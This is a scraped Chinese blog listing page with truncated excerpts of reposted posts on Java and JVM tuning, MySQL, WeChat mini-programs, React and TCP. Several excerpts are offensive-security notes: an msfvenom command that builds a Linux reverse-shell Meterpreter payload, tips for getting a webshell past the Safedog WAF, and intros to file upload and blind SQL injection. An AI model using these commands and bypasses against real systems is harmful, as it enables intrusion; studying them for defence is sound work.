自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(81)
  • 收藏
  • 关注

转载 为什么选择Linux

从最近的统计数据可以看到,全球大量数据中心的服务器已经开始向基于 Linux Server 平台转移。相较 Windows Server 而言,Linux Server 提供了更多优势。包括 Google、Twitter、Facebook 和 Amazon 在内的诸多国际互联网巨头,都在基于 Linux Server 的服务器上运转他们的服务。Linux 服务器相较 Windows ...

2019-08-28 20:05:00 143

转载 【优化】Java开发中注意内存问题,影响JVM

1. 尽量在合适的场合使用单例使用单例可以减轻加载的负担,缩短加载的时间,提高加载的效率,但并不是所有地方都适用于单例,简单来说,单例主要适用于以下三个方面:  第一,控制资源的使用,通过线程同步来控制资源的并发访问;  第二,控制实例的产生,以达到节约资源的目的;  第三,控制数据共享,在不建立直接关联的条件下,让多个不相关的进程或线程之间实现通信。2. 尽量避免随...

2019-08-28 14:43:00 139

转载 微信小程序复制功能以及背景颜色渐变实现

1.复制功能可以参照官方文档, copytext: function() { var that = this; wx.setClipboardData({ data: that.data.shareresult.content, success: function(res) { if (res.confirm) {...

2019-08-28 12:47:00 322

转载 微信小程序下载视频功能

1.在标签里传递ID<text catchtap="handleDownload" data-link="{{item.link}}">下载</text>2.js下载方法 //下载 handleDownload(e) { let link = e.currentTarget.dataset.link; let ...

2019-08-28 12:38:00 3220

转载 微信小程序函数节流(防止多次点击,可用于“立即支付,页面跳转等”)

函数节流(throttle):函数在一段时间内多次触发只会执行第一次,在这段时间结束前,不管触发多少次也不会执行函数。1.添加utils.js文件function throttle(fn, gapTime) { if (gapTime == null || gapTime == undefined) { gapTime = 1500 }...

2019-08-28 12:34:00 529

转载 团队发展五个阶段

团队发展阶段模型由五个阶段组成: 组建期(Forming)、激荡期(Storming)、规范期(Norming)、执行期(Performing)和休整期(Adjourning),所有五个阶段都是必须的、不可逾越的。团队在成长、迎接挑战、处理问题、发现方案、规划、处置结果等一系列经历过程中必然要经过这五个阶段。认识这五个阶段,可以为团队发展提供阶段指导。组建期:启蒙阶段项目...

2019-08-28 09:38:00 1979

转载 小团队与大团队管理

我们公司和大部分传统软件公司一样,随着业务的发展和新领域的开拓,公司的管理风格越来越像华为,这是不是最佳的演进路线,我觉得值得探讨,以下是我的思考,希望跟大家讨论。一个问题前段时间跟一个创业的朋友聊天,说起他们最近在做的一个项目,这是一个教育行业的管理系统,业务非常复杂,牵涉到的决策人,需要对接的系统也非常多,最后问到他们做了多久完成这个项目,朋友告诉我2个多月,6个人,其中还括...

2019-08-28 09:33:00 225

转载 java 8 jdk1.8 新特性

1Lambda表达式2函数式接口函数式接口(Functional Interface)就是一个有且仅有一个抽象方法,但是可以有多个非抽象方法的接口。java 8为函数式接口引入了一个新注解@FunctionalInterface3default关键字接口可以有实现方法 用default关键字修饰4方法与构造函数引用对象::实例方法名类::静态方法名为了让lambda表...

2019-08-28 08:34:00 105

转载 Msf小结

Msfvenom是有效负载生成和编码的组合。生成攻击载荷Linux下反弹Meterpreter shell1msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=<your port to connect on> -e -f elf -a...

2019-08-27 20:29:00 230

转载 安全狗文件绕过

上传绕过WAF的一些常用方法0X01姿势总结(1)fuzz文件名后缀方法用burpsuite进行模糊测试,寻找黑名单之外的文件(2)windows系统可以进行后缀修改如:webshell.php……………..(3)路径绕过:有些WAF只会监视某个目录是否被上传webshell(4)大小写组合如:PhP,pHp(5)filename换行(6)多个filename(7)引号绕过如:双...

2019-08-24 21:52:00 472

转载 【优化】jvm线上调优

jstackjmap命令(Java Memory Map)待空闲时补充转载于:https://www.cnblogs.com/itplay/p/11403167.html

2019-08-23 23:28:00 66

转载 Mac 日常使用tips

Mac 日常使用tips 29190923: 【Mac快捷键】光标及 delete 删除光标右侧文字Ctrl + a = homeCtrl + e = endCtrl + p = 上Ctrl + n = 下Ctrl + b = 左Ctrl + f = 右...

2019-08-23 19:07:00 99

转载 【优化】MySQL千万级大表优化解决方案

问题概述使用阿里云rds for MySQL数据库(就是MySQL5.6版本),有个用户上网记录表6个月的数据量近2000万,保留最近一年的数据量达到4000万,查询速度极慢,日常卡死。严重影响业务。问题前提:老系统,当时设计系统的人大概是大学没毕业,表设计和sql语句写的不仅仅是垃圾,简直无法直视。原开发人员都已离职,到我来维护,这就是传说中的维护不了就跑路,然后我就是掉坑的那...

2019-08-23 18:07:00 77

转载 【优化】Mysql字段尽可能用NOT NULL

下面咱们要聊的是 MySQL 里的 null,在大量的 MySQL 优化文章和书籍里都提到了字段尽可能用NOT NULL,而不是NULL,除非特殊情况。但却都只给结论不说明原因,犹如鸡汤不给勺子一样,让不少初学者对这个结论半信半疑或者云里雾里。本文今天就详细的剖析下使用 Null 的原因,并给出一些不用 Null 的理由。1、NULL 为什么这么多人用?NULL是创建数据表时...

2019-08-23 17:28:00 106

转载 否定中医者多犯这个根本错误

否定中医者多犯这个根本错误 否定中医者多犯这个根本错误拿西方现代科学体系来评价所有的事物,包括中医。这是对西方现代科学体系的迷信。无论是中医还是西医,都是为了解决人类健康问题。就像2个娃娃在妈妈面前,不是说娃娃A说娃娃B的做派不符合娃娃A,那你娃娃B就完全错了...

2019-08-23 12:04:00 125

转载 处女项目后关于IC验证经验的总结

http://www.cnblogs.com/jyaray/archive/2011/05/11/2043091.html完整的、详细的设计规范是验证工作的重要起点。  验证工作根据设计规范(Specification)进行,详细的Spec是RTL代码的编写工作的依据,也是验证工作的依据。当验证过程发现DUT的响应与testbench预计的不符时,需要根据Spec...

2019-08-21 05:35:38 1163

转载 hdu2037

View Code //找活动结束时间最小的,即以活动结束时间进行排序#include<iostream>#include<algorithm>using namespace std;int t ,k;struct node{ int a,b; }s[101];int cmp( node x, node y ){ if(x.b==y.b) ret...

2019-08-21 02:59:22 63

转载 Windows 8 引入新版的凭据管理器

Windows 8 引入了账户同步功能,默认情况下系统的设置,IE的浏览记录等等信息都会绑定到微软账户当中,在使用该账户登录之后会后台自动同步相关内容。和个人安全相关的就是,在浏览器当中保存的用于网站登录的那些信息也会自动同步。使用Windows 8的凭据管理器就可以直白的看到那些安全凭据保存在该电脑当中。使用快捷键Win+X,在弹出的菜单中选择控制面板,即可看到凭据管理器(如果是按...

2019-08-20 23:33:56 728

转载 章节十六、3-TestNG方法和类注解

一、Test Suite(测试套件)我们通常认为一个testcase就是一个测试方法,但是会有很多的testcase,所以我们不可能把所有的testcase放到同一个测试类中,假如需要测试的页面有10个,我们需要创建不同的类来测试这10个页面的具体功能,测试具体功能的测试用例会放到具体的测试类中,把这些所有的测试类组合起来就成了Test Suite。可以根据我们的测试目的,选择一些类...

2019-08-20 17:56:00 110

转载 [翻译]你相信谁?

在InfoQ上看到一篇文章,讲了Linda Rising博士在敏捷开发2008大会上的演讲,题目是“你相信谁?”。这个演讲很有趣,或者用Linda Rising自己的话说,很怪异。现在尝试翻译一下,不过这还不是终稿,个别词句仍需推敲。欢迎您多提宝贵意见。"Who Do You Trust?" by Linda Rising你相信谁?Linda Rising博...

2019-08-20 17:21:22 146

转载 react-redux

react-redux是react中的一个常用组件,可以用于简化redux的流程。项目准备这里的前期项目准备和上一篇的redux里的项目准备是一样的,实现一个基本的TodoList的增删。import React, { Component } from 'react';import {Input,Button,List} from 'antd'class ...

2019-08-20 15:20:00 57

转载 【JVM】吞吐量与延迟关系

堆内存增大,gc一次能处理的数量变大,吞吐量大;但是gc一次的时间会变长,导致后面排队的线程等待时间变长;向反,如果堆内存小,gc一次时间短,排队等待的线程等待时间变短,延迟减少,但一次请求的数量变小转载于:https://www.cnblogs.com/itplay/p/11381986.html...

2019-08-20 11:37:00 561

转载 LINQ中的"延迟查询"特性

很多标准查询操作符的设计原型都是返回一个IEnumerable<T>类型的序列, 这些标准查询操作实际上不会在代码执行到那一行的时候就返回一个序列, 事实上返回的是一个对象. 当在枚举(比如foreach)这个对象的时候会从IEnumerable<T>序列中生成一个元素, 这个时候才会真正执行查询操作. 这就是所谓的"延迟查询".小例子证明"延...

2019-08-19 21:29:14 64

转载 文件上传漏洞

文件上传漏洞是web安全中经常利用到的一种漏洞形式。一些web应用程序中允许上传图片,文本或者其他资源到指定的位置,文件上传漏洞就是利用这些可以上传的地方将恶意代码植入到服务器中,再通过url去访问以执行代码。0x01文件上传校验姿势(1)客户端javascript校验(一般只校验后缀名)(2)服务端校验文件头content-type字段校验(image/gif)文件内容头校验(...

2019-08-19 20:51:00 195

转载 【JVM】垃圾收集器和收集器的选择策略

前言:新生代的收集器有:Serial,ParNew,Parallel Scavenge等。老年代有:CMS,SerialOld,Paraller Old等。接下来将深入理解各个垃圾收集器的原理,以及它们如何在不同场景下进行搭配使用。 同时,先解释几个名次: 并行(Parallel):多个垃圾收集线程并行工作,此时用户线程处于等待状态 并发(Concurrent):用户线程和垃...

2019-08-19 18:28:00 89

转载 Java线程与线程、进程与进程之间通信方式

1.1 基本概念以及线程与进程之间的区别联系关于进程和线程,首先从定义上理解就有所不同:进程是具有一定独立功能的程序、它是系统进行资源分配和调度的一个独立单位,重点在系统调度和单独的单位,也就是说进程是可以独 立运行的一段程序。线程是进程的一个实体,是CPU调度和分派的基本单位,他是比进程更小的能独立运行的基本单位,线程自己基本上不拥有系统资源。在运行时,只是暂用一些...

2019-08-19 10:22:00 91

转载 【TCP】tcp协议通信中io

阻塞IOrecv,接收数据,若没有,将阻塞,当对方发数据来后,linux内核缓冲区得到数据,内核数据复制到recv()调用所在的用户空间,阻塞解除,进行下一步处理,非阻塞IO轮询调用recv函数接收数据,没有数据,立即返回,然后继续调用,根据返回值来判定时候读到数据,这种方式大量消耗CPU,应用范围小,一般和selectIO复用配合使用,IO复用...

2019-08-19 09:55:00 367

转载 【多线程】设置线程池线程数量

一、需求 Web-Server通常有个配置,最大工作线程数,后端服务一般也有个配置,工作线程池的线程数量,这个线程数的配置不同的业务架构师有不同的经验值,有些业务设置为CPU核数的2倍,有些业务设置为CPU核数的8倍,有些业务设置为CPU核数的32倍。“工作线程数”的设置依据是什么,到底设置为多少能够最大化CPU性能。二、一些共性认知 在进一步深入讨论之前...

2019-08-18 17:00:00 242

转载 【接口】接口压测性能分析及调优建议

常见的互联网架构中,一般都能看到spring+mybatis+mysql+redis搭配的身影,在我所服务的公司亦是如此。一般来说,应用内部的接口都是直接调用的,所谓的面向接口编程,应用间的调用直接调或者通过类似dubbo之类的服务框架来执行,数据格式往往采用json,即统一也方便各数据间做转换和取值,缓存一般使用redis或memcached,存储一些对象或json格式的字符串。对外提...

2019-08-18 14:20:00 711

转载 大量TIME_WAIT连接的解决办法

1、使用keep alive连接(待补充)2、修改tcp参数根据TCP协议的连接断开规定,发起socket主动关闭的一方,socket将进入TIME_WAIT状态,TIME_WAIT状态将持续2个MSL(Max Segment Lifetime),在Windows下默认为4分钟,即240秒,TIME_WAIT状态下的socket不能被回收使用。具体现象是对于一个处理大量短连接的服...

2019-08-18 10:44:00 80

转载 【KeepAlive】Http--Keep-Alive及Tcp--Keepalive

Keep-Alive模式: Http协议采用“请求-应答”模式,当使用普通模式,即非Keep-Alive模式时,每个请求/应答,客户端和服务器都要新建一个连接,完成之后立即断开连接;当使用Keep-Alive模式时,Keep-Alive功能使客户端到服务器端的连接持续有效,当出现对服务器的后继请求时,Keep-Alive功能避免了建立或者重新建立连接。 http1.0中默认是关闭的,...

2019-08-18 10:38:00 70

转载 SQL Injection(Blind)

SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。0x01分类Booleanbase(基于布尔)布尔很明显Ture跟Fales,也就是说...

2019-08-17 20:08:00 169

转载 redux简单使用

在前面的随便中有简单的使用过redux和react-redux,但是感觉写在一起,总是理不清楚,后面看了技术胖老师关于redux的视频后,感觉自己又有了新的理解,在这里简单记录一下。项目准备首先安装脚手架:npm install -g create-react-app然后创建项目:create-react-app demo01项目创建成功后,删除src下面除index.j...

2019-08-14 23:03:00 86

转载 【JVM】JVM参数

JVM参数的含义参数名称含义默认值-Xms初始堆大小物理内存的1/64(<1GB)默认(MinHeapFreeRatio参数可以调整)空余堆内存小于40%时,JVM就会增大堆直到-Xmx的最大限制.-Xmx最大堆大小物理内存的1/4(<1GB)默认(MaxHeapFreeRatio参数可以调整)空...

2019-08-14 18:17:00 59

转载 golang gin框架 使用swagger生成api文档

github地址:https://github.com/swaggo/gin-swagger1、下载swag$ go get -u github.com/swaggo/swag/cmd/swag2、在main.go所在目录执行$ swag init生成docs/doc.go以及docs/swagger.json,docs/swagger.yaml3...

2019-08-14 14:04:00 519

转载 vsCode插件

vue1,koroFileHeader生成文件头部注释和函数注释的插件。文件头部添加注释:快捷键:window:ctrl+alt+i,mac:ctrl+cmd+i在光标处添加函数注释:快捷键:window:ctrl+alt+t,mac:ctrl+cmd+treact1,Simple React Snippetsreact代码快速生成,常用方法:...

2019-08-14 11:03:00 82

转载 用最简单的例子理解迭代器模式(Iterator Pattern)

迭代器模式的需求来自:需要对一些集合进行迭代,而迭代的方式可能有很多种。 说到迭代,动作大致包括设置第一个位置,获取下一个位置元素,判断是否迭代结束,获取当前位置元素,大致就这么些。把这些迭代动作封装到一个接口中。 public interface IIterator { void First(); string Next(); ...

2019-08-13 22:18:02 86

转载 SQL Injection

SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。0x01定义具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句本质代码和数据...

2019-08-12 19:40:00 146

转载 日就月将之HTML5入门教程1

Be conservative in what you send; be liberal in what you accept. ——Postel principle发送时要保守;接收时要开放。 ——伯斯塔尔法则HTML版本发展历史HTML 2.0HTML 2.0 是 1996 年由 Internet 工程工作小组的 HTML 工作组开发的。HTML 2.0 是过...

2019-08-12 18:13:56 71

转载 微信小程序css瀑布流布局(仅做参考,css布局只会先渲染列,这种瀑布流并不实用)...

wxml<view class='case-page'> <view class='list-masonry'> <view class='item-masonry' wx:for="{{note}}"> <image class="play" src='/images/news/play.png'>&...

2019-08-12 10:25:00 153

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除